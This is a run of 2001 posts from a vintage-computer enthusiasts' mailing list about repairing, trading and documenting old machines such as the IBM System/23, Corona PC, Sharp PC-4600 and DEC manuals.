<007a01c0fd15$a955ffe0$2d00f4d8@Smith.earthlink.net> > > Horrible screen burn -- the computer was used in an > > industrial setting and always displayed the same > > screen. > > Wouldn't a CRT replacement be simpler? IIRC, it's just a 12" mono CRT, > probably one of the 7 pin ('Modified B7G Base') versions. You can get one > from an old PC mono monitor.... > That had been my initial plan, but the S/23 is 8-pin. Also, given that everything inside is glued together, it's seemed easier to do it the factory way. -W From SUPRDAVE at aol.com Sun Jun 24 20:32:52 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:47 2005 Subject: Fastpath 4 boxes available Message-ID: <115.c075bd.2867eec4@aol.com> In a message dated 6/22/01 2:44:38 PM Eastern Daylight Time, korpela@ellie.ssl.berkeley.edu writes: << > i still never got a decision from anyone on these. still interested? > I am. I sent a question about what type of hard drives you were interested in, but never got a response. Eric >> i prefer those IBM black 50pin scsi drives although anything comparable is fine. 1-2G capacity is acceptable. -- DB Young Team OS/2 old computers, hot rod pinto and more at: www.nothingtodo.org From wmsmith at earthlink.net Sun Jun 24 20:59:03 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:47 2005 Subject: Good Samaritan Rule? References: <006201c0fd13$21dfe0a0$2d00f4d8@Smith.earthlink.net> Message-ID: <008b01c0fd1a$6932fc60$2d00f4d8@Smith.earthlink.net> There is nothing quite like thinking you are doing "a good thing" and being criticized for the "way" you are doing it. There's something inherently offensive about it. That's why so many states have passed so-called "good Samaritan" laws, which prevent lawsuits such as malpractice actions against doctors who stop and give aid to accident victims. Do the same rules apply to collecting and attempting to fix computer equipment? Today I posted some questions regarding an IBM S/23 I am trying to get working (VCF 5.0 is coming up fast). The 5322 unit I saved from a dumpster and found that the display was badly burned and feeble. A year and a half later I found someone who had a number of 5324 displays that he was going to pitch. I paid to have one of the displays shipped from St. Loius to L.A., so I could swap them. I suspected that this would work because the IBM part nos. for the internal display unit were identical. Today I swapped the displays, and it was mostly a success. But, I think I've offended some of you because I have, in effect, performed surgery with a sledgehammer. Yet, this is the best I can do. Although I'm an engineer, I'm an ME and my electronics background is mostly directed to digital stuff. (So I'm not a "doctor" which perhaps destroys the "Good Samaritan analogy.) I don't have anything close to an electronics lab (nor do I know anyone local that does) and, aside from an EPROM burner, my most sophisticated equipment is a voltage meter. Should I simply not even try to do anything, lest I risk criticism for doing it wrong? From bdc at world.std.com Sun Jun 24 20:46:55 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:47 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Sat, 23 Jun 2001, Fred Cisin (XenoSoft) wrote: > Admittedly, if you are going to have only one computer, and want it to > serve multiple purposes, then a GUI, multitasking, and verbose file names > might be useful. (BTW, DOS 5.00 DID have a poor quality GUI, called > WIN3.1x) > > [...] What? No one has mentioned the task-switching DOSSHELL yet? It's not multitasking, but it did let you switch between the program you ran, and it did offer a GUI of sorts. -brian. From louiss at gate.net Sun Jun 24 22:11:52 2001 From: louiss at gate.net (Louis Schulman) Date: Sun Feb 27 19:04:47 2005 Subject: Good Samaritan Rule? In-Reply-To: <008b01c0fd1a$6932fc60$2d00f4d8@Smith.earthlink.net> Message-ID: <200106250312.XAA28296@tisch.mail.mindspring.net> The important thing is the enjoyment you get out of working with these things, and how it makes you feel. Whatever the seeming intrinsic value of these items, if any, in a thousand years they will be dust, as will we. Therefore, it makes no sense to worry about whether someone else approves of the way you are doing things. I do think that sometimes helpful advice is couched in an unnecessarily critical tone. Most of this stuff IS just old junk; let's not get too emotionally involved. Unless you are destroying a true historic item, like the prototype of the Apple I, just have fun. Louis On Sun, 24 Jun 2001 18:59:03 -0700, Wayne M. Smith wrote: #There is nothing quite like thinking you are doing "a #good thing" and being criticized for the "way" you are #doing it. There's something inherently offensive about #it. That's why so many states have passed so-called #"good Samaritan" laws, which prevent lawsuits such as #malpractice actions against doctors who stop and give #aid to accident victims. # #Do the same rules apply to collecting and attempting to #fix computer equipment? # #Today I posted some questions regarding an IBM S/23 I #am trying to get working (VCF 5.0 is coming up fast). #The 5322 unit I saved from a dumpster and found that #the display was badly burned and feeble. A year and a #half later I found someone who had a number of 5324 #displays that he was going to pitch. I paid to have #one of the displays shipped from St. Loius to L.A., so #I could swap them. I suspected that this would work #because the IBM part nos. for the internal display unit #were identical. Today I swapped the displays, and it #was mostly a success. But, I think I've offended some #of you because I have, in effect, performed surgery #with a sledgehammer. Yet, this is the best I can do. #Although I'm an engineer, I'm an ME and my electronics #background is mostly directed to digital stuff. (So #I'm not a "doctor" which perhaps destroys the "Good #Samaritan analogy.) I don't have anything close to an #electronics lab (nor do I know anyone local that does) #and, aside from an EPROM burner, my most sophisticated #equipment is a voltage meter. # #Should I simply not even try to do anything, lest I #risk criticism for doing it wrong? # From fernande at internet1.net Sun Jun 24 23:08:06 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:47 2005 Subject: Check this out! 11/785 Board Set Message-ID: <3B36B926.38A02758@internet1.net> http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1249462025 From chomko at greenbelt.com Sun Jun 24 23:49:09 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:47 2005 Subject: SWTPc S/09 is alive References: <001301c0fcdf$109daf90$c319d7d1@DOMAIN> Message-ID: <3B36C2C4.D4A43B25@greenbelt.com> Mike wrote: > Congrats to Jeff and Eric > Thanks, we had a hell of a lot of fun! Eric > > > Signal Broadcasting DOS, does anyone have a SSB DCB-4 or DCB-4A > > they'd be willing to part with? Unfortunately, I had to give his > > back > > > > Jeff > > -- > > Collector of Classic Microcomputers and Video Game Systems: > > Home of the TRS-80 Model 2000 FAQ File > > http://www.geocities.com/siliconvalley/lakes/6757 > > From chomko at greenbelt.com Sun Jun 24 23:51:59 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:47 2005 Subject: HP 97 Calculator References: Message-ID: <3B36C36F.EE807BFE@greenbelt.com> Doesn't Sellam have one of everything already?! Eric Don Maslin wrote: > > > Anyone interested in a HP 97 Calculator for the price of shipping? > > > Comes complete with wall-wart, and a (probably tired) but still usable > > > battery. > > Sellam is the winner of the HP 97 Calculator by a margin of about > 5-hours. Nightowl! Thanks for all of your responses. > > - don > > Sellam, you are still on Rosewood? From Arno_1983 at gmx.de Mon Jun 25 00:35:10 2001 From: Arno_1983 at gmx.de (Arno Kletzander) Date: Sun Feb 27 19:04:47 2005 Subject: Troubleshooting/upgrading Sharp PC-4600 Message-ID: <32346.993447310@www9.gmx.net> Hi everybody, one of my dad's colleagues presented him with a Sharp PC-4600 Laptop and now it's my task to get it into "usable" condition. This covers several items: 1. Making the thing mains independent There was no accu pack inside the box when we got it. It starts up all right when powered by a wall socket PSU of the recommended voltage (9 V DC), but for portable use it'd have to have its own power source. What rating should the cell pack have? Can I still get an original one or do I have to build my own from several cells? 2. Providing mass storage The computer is equipped with two 720k 3.5" disk drives. Is it possible to upgrade to a 1.44MB drive and/or to install a hard disk? Where would the latter one connect? (There are several unused connectors inside and I've also seen a solder type jumper with the letters FDD/HDD on the PCB, so there should be a way...) 3. Getting the keyboard to work properly There is a keyboard problem. One key press ends up with two characters being entered (always the same for each key), as there are: key cap results german without with german driver Esc 8\ 8\ F6 ^Z ^Z F7 ^@ ^@ 1 91 91 2 02 02 3 -3 ?3 4 =4 ?4 5 5 5 6 6 6 7 q7 q7 8 8\ 8\ 9 91 91 0 02 02 ? -3 ?3 ? =4 ?4 5 5 6 6 q q7 q7 I've already unplugged and reseated the keyboard connector. Anybody already encountered and successfully repaired this? The machine has the german QWERTZ keyboard layout so I've also tried installing a german MSDOS keyboard driver, but when it's installed, from the first keypress on as long as nothing is being entered, the machine continuously produces short beeps (about 2/sec) which get on your nerves in very short time. Is there a (perhaps Sharp-specific) driver that will not cause this problem? I hope than somebody out there can help me. Many thanx in advance Arno Kletzander P.S. I'm on the digest only, so answers will take about one day... -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net -- GMX Tipp: Machen Sie Ihr Hobby zu Geld bei unserem Partner 1&1! http://profiseller.de/info/index.php3?ac=OM.PS.PS003K00596T0409a From mikeford at socal.rr.com Sun Jun 24 23:33:30 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:47 2005 Subject: Corona PC, last chance. In-Reply-To: <5.0.0.25.2.20010624025230.01f7f9f0@209.185.79.193> Message-ID: So far no responses, and after this Tuesday I won't be at that scrap yard for a week or so, and chances are pretty good the system will be gone. Corona early looking PC, very nice shape with (2) 5.25" drives in a I think (can this be right) a wooden box. From marvin at rain.org Mon Jun 25 01:06:25 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:47 2005 Subject: Corona PC, last chance. References: Message-ID: <3B36D4E1.9B6D2BD0@rain.org> The Corona PC was not cased in a wooden box, but rather a metal case although it might have been a specially built case. I'm not sure how long the Corona name was kept before it was changed to Cordata, but the name was changed because of an objection by Smith-Corona. It had IIRC 512K of memory and used either the 8080 or the V20 chip. The original PC-400 I have or had (???) used the NEC V20 which was supposed to be about 5% faster (depending on what benchmark you wanted to use.) Personally, I think it is worth saving but I already have several and don't need another one :)! Mike Ford wrote: > > So far no responses, and after this Tuesday I won't be at that scrap yard > for a week or so, and chances are pretty good the system will be gone. > > Corona early looking PC, very nice shape with (2) 5.25" drives in a I think > (can this be right) a wooden box. From ethan_dicks at yahoo.com Mon Jun 25 01:41:21 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:47 2005 Subject: BIG haul of DEC docs! In-Reply-To: <200106230200.f5N20n919382@shell1.aracnet.com> Message-ID: <20010625064121.42002.qmail@web9504.mail.yahoo.com> --- healyzh@aracnet.com wrote: > Something to consider. It's my understanding that it is OK, to scan/copy > the hardware doc's. However, I'm not sure that the same is true with the OS > Manuals, in fact I'm fairly sure that it isn't OK. This is unfortunate as > I'm guessing that there are even fewer Hobbyist with the OS doc's than have > hardware doc's. I have a documentation directory from the days when DEC released the right- to-copy to customers for those docs that DEC no longer sold. If someone has one handy, it might be good to scan it... I don't know how long mine would take to find. I don't have the precise langage here, but it said, in effect, if we won't sell it to you, go ahead and copy it. > Keep in mind when talking about RSTS/E, RSX-11M/M+, and RT-11 manuals you're > talking about software that you can still purchase, and Doc sets that are > still for sale. I'm guessing Mentec, and possibly Compaq would take a dim > view of copying these manuals. While I wouldn't recommend copying stuff that Mentec sells, I don't think you can get anything out of Compaq these days. For older stuff, say the RT11 v4 docs, I doubt Mentec sells those. If you stick to the previous major versions, and especially stuff published by Digital, not Mentec and/or Compaq, I would expect that it falls under that notice from 15 years ago. Newer stuff is much less likely to be so liberated. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Mon Jun 25 02:12:29 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:47 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <4.3.2.7.0.20010623150948.00c46100@pc> Message-ID: <20010625071229.80453.qmail@web9502.mail.yahoo.com> --- John Foust wrote: > At 07:27 PM 6/22/01 -0400, R. D. Davis wrote: > >The answer is quite simple to arrive at: a printed book. Alas, too > >many books have been printed on acidic paper... of course, the > >solution is rather simple, a good photocopy on acid-free paper. :-) > > Plastic-carbon toners aren't archival, be they from a copier > or a laser printer. They re-melt, re-flow or otherwise become > adhesive under heat or pressure, and they'll interact with > solvents such as outgassing plastics like the vinyl from a > new three-ring binder. As a result of this, I was told by my mother who used to transcribe court documents for court reporters, you cannot submit laser printed or inkjet documents for certain uses - i.e., ones where they will be stuck together, compressed in a file for decades. The documents must be printed on an inkjet device or offset printed. I have many 3-ring binders with the first page glued down by its own ink because people didn't put in a blank protective page. :-( -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From red at bears.org Mon Jun 25 02:25:34 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:47 2005 Subject: More free stuff... In-Reply-To: <631.574T1050T1264655optimus@canit.se> Message-ID: On 23 Jun 2001, Iggy Drougge wrote: > BTW, a while ago I looked at a very old 3Com full-length card. The PCB > was a rich blue, much like the 3C501, but that's a small eight-bit ISA > card, this one was full-length. For some reason the seller thought he > could ask more for this card than the 3C509s of another seller, so I > skipped them. Otherwise, they would have been a nice curiosity. Chances are good that these were 3C505 cards, which you need to make an ISA-bus Apollo workstation speak ethernet. Better still if they had the boot ROMs on them, which would have made them real Apollo parts and thus capable of netbooting same. ok r. From ethan_dicks at yahoo.com Mon Jun 25 02:35:01 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:47 2005 Subject: Wave of the Future (Spam)(further OT) In-Reply-To: <200106221624.JAA10124@stockholm.ptloma.edu> Message-ID: <20010625073501.9868.qmail@web9506.mail.yahoo.com> --- Cameron Kaiser wrote: > > > interest. If they get alot back that cost them they loose money. Maybe > > > she should tape the postage prepaid envelope to a brick and return it. We used to get this sort of thing at work from our direct mail ads... remember getting packs of "bingo cards" in the mail? We used to pay a couple of grand for an insertion into a pack of cards with a 100,000+ distribution list. Every time, we'd get a stack of crank responses from folks who received these at home who were not part of our desired audience. They ranged from political messages stamped on to religious propganda to a bitter and insulting response from, we think, an ex-employee. The "brick" reminded me of one respondent... I don't know when he/she got on the DMA (Direct Marketing Association) list for bingo cards, but once they did, we got one of these back every time - they would take a few of the cards, cut up, and tape them to the back of the response card in a kind of almost pouch, increasing the weight to a couple of ounces. Not exactly a brick, but it still cost us more than the usual rude response. Even with a noticable quantity of bad cards coming back, it was still one of our best ways to find new customers. Note: I am not advocating spam - I am simply describing a bygone advertising technique and the resulting responses. We paid for the cards to go out and to come back... nothing like the free ride spammers get today. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From GOOI at oce.nl Mon Jun 25 02:23:32 2001 From: GOOI at oce.nl (Gooijen H) Date: Sun Feb 27 19:04:47 2005 Subject: preserving / ressurecting old docs? Message-ID: Hi Bill. I have scanned some Field Maintenance Print Sets. I have done them in 600 dpi. When I print the file to ledger (or A3 here in Europe) the copy sometimes turns out better than the original. - white paper - high contrast b/w - at 600 dpi, the pin numbers of the IC's are clear to read I must agree that downloading these files is a bit of a pain in ... But many of these scans fit on a single CD-ROM. So, perhaps some sort of distribution scheme can be started? I do not have the disk space accessable to the Internet to host all these files, and found Chris Kennedy so kind to do that for me. You may link to them from decdocs.org as far as that concerns me, but if many downloads start, perhaps Chris is less happy with the bandwidth? Anyway, this is the URL: http://www.mainecoon.com/classiccmp success with the big task you are to embark on, Henk. > -----Original Message----- > From: Bill Bradford [mailto:mrbill@mrbill.net] > Sent: zaterdag 23 juni 2001 6:04 > To: classiccmp@classiccmp.org > Subject: Re: preserving / ressurecting old docs? > > > On Fri, Jun 22, 2001 at 11:20:44PM -0400, David Gesswein wrote: > > My scans (and other peoples) > > http://www.pdp8.net/query_docs/query.shtml > > Thanks for the tips. Looks like you've already done quite a > few of the > handbooks that I have - which will save some work. I'll also link to > your site from decdocs.org if thats okay with you. > > Bill > > -- > Bill Bradford > mrbill@mrbill.net > Austin, TX > > From ethan_dicks at yahoo.com Mon Jun 25 03:09:03 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:47 2005 Subject: More free stuff... In-Reply-To: Message-ID: <20010625080903.77948.qmail@web9507.mail.yahoo.com> --- "r. 'bear' stricklin" wrote: > Chances are good that these were 3C505 cards, which you need to make an > ISA-bus Apollo workstation speak ethernet. I might have a pair of these. Are there any Apollo-heads out there who are interested? If so, I will look. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From mrbill at mrbill.net Mon Jun 25 03:56:40 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:50 2005 Subject: BIG haul of DEC docs! In-Reply-To: <20010625064121.42002.qmail@web9504.mail.yahoo.com>; from ethan_dicks@yahoo.com on Sun, Jun 24, 2001 at 11:41:21PM -0700 References: <200106230200.f5N20n919382@shell1.aracnet.com> <20010625064121.42002.qmail@web9504.mail.yahoo.com> Message-ID: <20010625035640.H4444@mrbill.net> On Sun, Jun 24, 2001 at 11:41:21PM -0700, Ethan Dicks wrote: > If you stick to the previous major versions, and especially stuff published > by Digital, not Mentec and/or Compaq, I would expect that it falls under that > notice from 15 years ago. Newer stuff is much less likely to be so liberated. Anybody know where I can find a copy of / the text of this announcement? I'd like to put it up with the scanned docs when they go online. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From stefan at softhome.net Mon Jun 25 04:51:22 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:54 2005 Subject: Powersupply VTech Laser 500 ? Message-ID: <5.0.2.1.0.20010625114808.00a93010@145.218.23.191> Can anybody tell me what powersupply a VTech Laser 500 needs ? Like what voltage etc. Thanks, Stefan. From foxvideo at wincom.net Mon Jun 25 05:06:34 2001 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: <993391909.3b35f525636a8@email.ou.edu> Message-ID: <5.1.0.14.0.20010625060107.00a634c0@mail.wincom.net> At 11:29 AM 24/06/2001 -0700, you wrote: >On Sun, 24 Jun 2001, Jeffrey S. Sharp wrote: > > > Quoting Sellam Ismail : > > > so far being geeky and keeping old computer stuff around does not > > > necessarily lead to excessive sexual encounters (I must admit to > > > being an exception ;) > > > > Are you sure that isn't becuase of your "International Man of > > Intrigue and Danger" status? > >I think it's the Altair 8800. Get your hands on one and women will beat a >path to your door (that's why they always commanded such a premium on eBay >;) > >Sellam Ismail Vintage Computer Festival >------------------------------------------------------------------------------ >International Man of Intrigue and Danger http://www.vintage.org I was told that an MG TD sports car was sure bait for beautiful girls, but I have had mine for forty seven years and they haven't appeared. Do you think I should ditch it and buy an Altair? Cheers Charlie Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor ON N8Y 3J8 foxvideo@wincom.net Check out: Camcorder Kindergarten at http://chasfoxvideo.com From mikeford at socal.rr.com Mon Jun 25 05:07:24 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:54 2005 Subject: Equipment needs home: Portland, OR. area In-Reply-To: <000601be47bb$cc4234e0$159ebbd8@wolf> Message-ID: > hey do you have any ideas about using relays or some thing connected >to a parallel or aerial port to control the power to an outlet, you know >like a dimmer switch controlling motors ETC if you have any thought >or ideas I'd be glad to hear them. X10, why reinvent the wheel? or From mikeford at socal.rr.com Mon Jun 25 05:22:20 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:54 2005 Subject: controlling power Message-ID: > hey do you have any ideas about using relays or some thing connected >to a parallel or aerial port to control the power to an outlet, you know >like a dimmer switch controlling motors ETC if you have any thought >or ideas I'd be glad to hear them. X10, why reinvent the wheel? or Rotten computer sent that before I could add http://www.sophisticated.com/ currently mac oriented, but moving to USB and all platforms. More generic stuff, looks pricey though. http://www.dataprobe.com http://ecatalog.squared.com/catalog/html/sections/04/17204010.htm From dhquebbeman at theestopinalgroup.com Mon Jun 25 06:58:04 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:54 2005 Subject: More free stuff... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511F6@jeffserver.tegjeff.com> > On 23 Jun 2001, Iggy Drougge wrote: > > > BTW, a while ago I looked at a very old 3Com full-length card. The PCB > > was a rich blue, much like the 3C501, but that's a small eight-bit ISA > > card, this one was full-length. For some reason the seller thought he > > could ask more for this card than the 3C509s of another seller, so I > > skipped them. Otherwise, they would have been a nice curiosity. > > Chances are good that these were 3C505 cards, which you need to make an > ISA-bus Apollo workstation speak ethernet. > > Better still if they had the boot ROMs on them, which would have made them > real Apollo parts and thus capable of netbooting same. As I told Ethan, I don't need them now, but I'd rather have more than see them in a landfill. OTOH, mine work, and have ROMs, so I can dupe the ROMs should anyone need a working Apollo 3c505 ROM. Regards, -doug q From foxvideo at wincom.net Mon Jun 25 07:01:05 2001 From: foxvideo at wincom.net (Charles E. Fox) Date: Sun Feb 27 19:04:54 2005 Subject: Powersupply VTech Laser 500 ? In-Reply-To: <5.0.2.1.0.20010625114808.00a93010@145.218.23.191> Message-ID: <5.1.0.14.0.20010625075722.00a63ec0@mail.wincom.net> At 11:51 AM 25/06/2001 +0200, you wrote: >Can anybody tell me what powersupply a VTech Laser 500 needs ? >Like what voltage etc. > >Thanks, > >Stefan. Is this a clone of the Apple II C? I have a VTech Laser 128 here, but no information on the 500. Regards Charlie Fox Chas E. Fox Video Productions 793 Argyle Rd. Windsor ON N8Y 3J8 foxvideo@wincom.net Check out: Camcorder Kindergarten at http://chasfoxvideo.com From mtapley at swri.edu Sun Jun 24 14:18:24 2001 From: mtapley at swri.edu (Mark Tapley) Date: Sun Feb 27 19:04:54 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106230203.VAA53475@opal.tseinc.com> Message-ID: >Date: Fri, 22 Jun 2001 01:25:45 -0500 >From: Bill Bradford >... >Some of the pages are starting to come unglued, and I'd like to >avoid destroying the book while archiving it. Any suggestions on >what to use to re-glue the pages, or rebinding, etc? > >Bill Check out http://www.brodart.com Pretty sure what you want is there, possibly cat # 40415001 (or -002, -003, -004), Brodart Acid-Free Bind-Art Adhesive. You may do better to just request a catalog, the website is a bit unwieldy. - Mark From iwarford at home.com Mon Jun 25 08:13:09 2001 From: iwarford at home.com (Ian Warford) Date: Sun Feb 27 19:04:54 2005 Subject: AS/400 Terminal Keyboard Message-ID: <20010625091309.A19898@godel.yi.org> Hi, I have recently acquired an old AS/400 terminal keyboard in (apparently) working condition. The pinout on the keyboard, while 5 pins and the same size as an AT connector, has the pins misplaced, so as not to plug into an AT jack. I'm just curious if anyone has dones this sort of thing before (i.e. plugging an AS/400 terminal keyboard into a PC). I'm on the verge of Visiting Radioshack, however I have no information as to the functioning of this keyboard. Any information that I can find would be most appreciated (as I *love* how this keyboard feels, and desperately want to use it :). -- Ian Warford / iwarford@home.com When I consider the small span of my life absorbed in the eternity of all time, or the small part of space which I can touch or see engulfed by the infinite immensity of spaces that I know not and that know me not, I am frightened and astonished to see myself here instead of there... now instead of then. -"-,_,-"- Blaise Pascal From rhblake at bigfoot.com Mon Jun 25 08:26:35 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:54 2005 Subject: AS/400 Terminal Keyboard In-Reply-To: <20010625091309.A19898@godel.yi.org> Message-ID: By AS/400 terminal I assume you mean a VDT with twinax connection? Is it a Decision Data, HP, etc? Most are proprietary in the wiring as well as the UART and communications type and are not suitable for PC use. Even between different brands they wire the KBs differently though they use the same connector as PCs, both the DIN 5 and PS/2 type Mini-DIN 6. As Elmer Fudd would say - be vewwy, vewwy cawful...you can fry your machine (or at least blow the micro fuse for the KB circuit). -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ian Warford Sent: Monday, June 25, 2001 8:13 AM To: classiccmp@classiccmp.org Subject: AS/400 Terminal Keyboard Hi, I have recently acquired an old AS/400 terminal keyboard in (apparently) working condition. The pinout on the keyboard, while 5 pins and the same size as an AT connector, has the pins misplaced, so as not to plug into an AT jack. I'm just curious if anyone has dones this sort of thing before (i.e. plugging an AS/400 terminal keyboard into a PC). I'm on the verge of Visiting Radioshack, however I have no information as to the functioning of this keyboard. Any information that I can find would be most appreciated (as I *love* how this keyboard feels, and desperately want to use it :). -- Ian Warford / iwarford@home.com When I consider the small span of my life absorbed in the eternity of all time, or the small part of space which I can touch or see engulfed by the infinite immensity of spaces that I know not and that know me not, I am frightened and astonished to see myself here instead of there... now instead of then. -"-,_,-"- Blaise Pascal From iwarford at home.com Mon Jun 25 08:45:30 2001 From: iwarford at home.com (Ian Warford) Date: Sun Feb 27 19:04:54 2005 Subject: AS/400 Terminal Keyboard In-Reply-To: ; from rhblake@bigfoot.com on Mon, Jun 25, 2001 at 08:26:35AM -0500 References: <20010625091309.A19898@godel.yi.org> Message-ID: <20010625094530.C19898@godel.yi.org> On 25 Jun, 2001, Russ Blakeman brought forth: > By AS/400 terminal I assume you mean a VDT with twinax connection? Is it a > Decision Data, HP, etc? Most are proprietary in the wiring as well as the IBM. It has a nice big "IBM" logo on it. I don't have the terminal itself, just the keyboard (I could have taken the terminal as well, but my wife wouldn't have been amused about it taking up more space in our apartment :) > UART and communications type and are not suitable for PC use. Even between > different brands they wire the KBs differently though they use the same > connector as PCs, both the DIN 5 and PS/2 type Mini-DIN 6. That's why I was looking for some more detailed information. I'll try asking IBM, but that will likely involve emailing 3 different departments, then being told to dial a number to contact another department, which will refer you to thier website, which will then make you call another department. > > As Elmer Fudd would say - be vewwy, vewwy cawful...you can fry your machine > (or at least blow the micro fuse for the KB circuit). I shall experiment on the 486 in the closet I got for free, then. :) > > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Ian Warford > Sent: Monday, June 25, 2001 8:13 AM > To: classiccmp@classiccmp.org > Subject: AS/400 Terminal Keyboard > > > > Hi, > > I have recently acquired an old AS/400 terminal keyboard in (apparently) > working condition. > > The pinout on the keyboard, while 5 pins and the same size as an AT > connector, has the pins misplaced, so as not to plug into an AT jack. > > I'm just curious if anyone has dones this sort of thing before > (i.e. plugging an AS/400 terminal keyboard into a PC). I'm on the > verge of Visiting Radioshack, however I have no information as to the > functioning of this keyboard. > > Any information that I can find would be most appreciated (as I *love* > how this keyboard feels, and desperately want to use it :). > > -- > Ian Warford / iwarford@home.com > > When I consider the small span of my life absorbed in the eternity > of all time, or the small part of space which I can touch or see > engulfed by the infinite immensity of spaces that I know not and > that know me not, I am frightened and astonished to see myself here > instead of there... now instead of then. -"-,_,-"- Blaise Pascal -- Ian Warford / iwarford@home.com When I consider the small span of my life absorbed in the eternity of all time, or the small part of space which I can touch or see engulfed by the infinite immensity of spaces that I know not and that know me not, I am frightened and astonished to see myself here instead of there... now instead of then. -"-,_,-"- Blaise Pascal From stefan at softhome.net Mon Jun 25 08:44:26 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:54 2005 Subject: Powersupply VTech Laser 500 ? In-Reply-To: <5.1.0.14.0.20010625075722.00a63ec0@mail.wincom.net> References: <5.0.2.1.0.20010625114808.00a93010@145.218.23.191> Message-ID: <5.0.2.1.0.20010625154245.00a77db0@145.218.23.191> Charlie, I don't believe the Laser 500 is an Apple Clone, at least not according to this site : http://www.calweb.com/~markr/pages/Museum/Computers/Laser%20500.htm The Laser 500 is a somewhat rare item I suppose, a lot rarer than the 128 at least. What voltage does the 128 take ? grtz, Stefan. At 08:01 25/06/01 -0400, you wrote: >At 11:51 AM 25/06/2001 +0200, you wrote: >>Can anybody tell me what powersupply a VTech Laser 500 needs ? >>Like what voltage etc. >> >>Thanks, >> >>Stefan. > > Is this a clone of the Apple II C? I have a VTech Laser 128 > here, but no information on the 500. > > Regards > > Charlie Fox > Chas E. Fox Video Productions > 793 Argyle Rd. Windsor ON N8Y 3J8 > foxvideo@wincom.net > Check out: > Camcorder Kindergarten at http://chasfoxvideo.com > From rmeenaks at olf.com Mon Jun 25 09:23:56 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:54 2005 Subject: CSA Transputer Education Kit Manuals for free... Message-ID: <003b01c0fd82$781016b0$faea0191@olf.com> I got a set of CSA TEK Manuals for anyone who is either willing pickup or ship from Long Island. All the books are in mint condition and never been opened. These books are very difficult to come by (especially the transputer assembly language book).... Ram -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/06c826e4/attachment.html From edick at idcomm.com Mon Jun 25 09:07:33 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:54 2005 Subject: Corona PC, last chance. References: Message-ID: <005601c0fd80$2de816c0$9cc762d8@idcomm.com> It might be of interest to some, that Corona was one of the early PC mfg's that used the Western Digital FDC's. I don't know about this particular one, but that holds out some promise of doing some interesting things with "classic" diskette formats that are more difficult with standard PC FDC's. Dick ----- Original Message ----- From: "Mike Ford" To: Sent: Sunday, June 24, 2001 10:33 PM Subject: Corona PC, last chance. > So far no responses, and after this Tuesday I won't be at that scrap yard > for a week or so, and chances are pretty good the system will be gone. > > Corona early looking PC, very nice shape with (2) 5.25" drives in a I think > (can this be right) a wooden box. > > > From rmeenaks at olf.com Mon Jun 25 09:47:18 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:54 2005 Subject: CSA Transputer Education Kit Manuals for free... References: <003b01c0fd82$781016b0$faea0191@olf.com> Message-ID: <3B374EF6.B673D43@olf.com> Ram Meenakshisundaram wrote: > I got a set of CSA TEK Manuals for anyone who is eitherwilling pickup > or ship from Long Island. All the books arein mint condition and > never been opened. These books arevery difficult to come by > (especially the transputer assemblylanguage book).... Ram Is now gone.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: 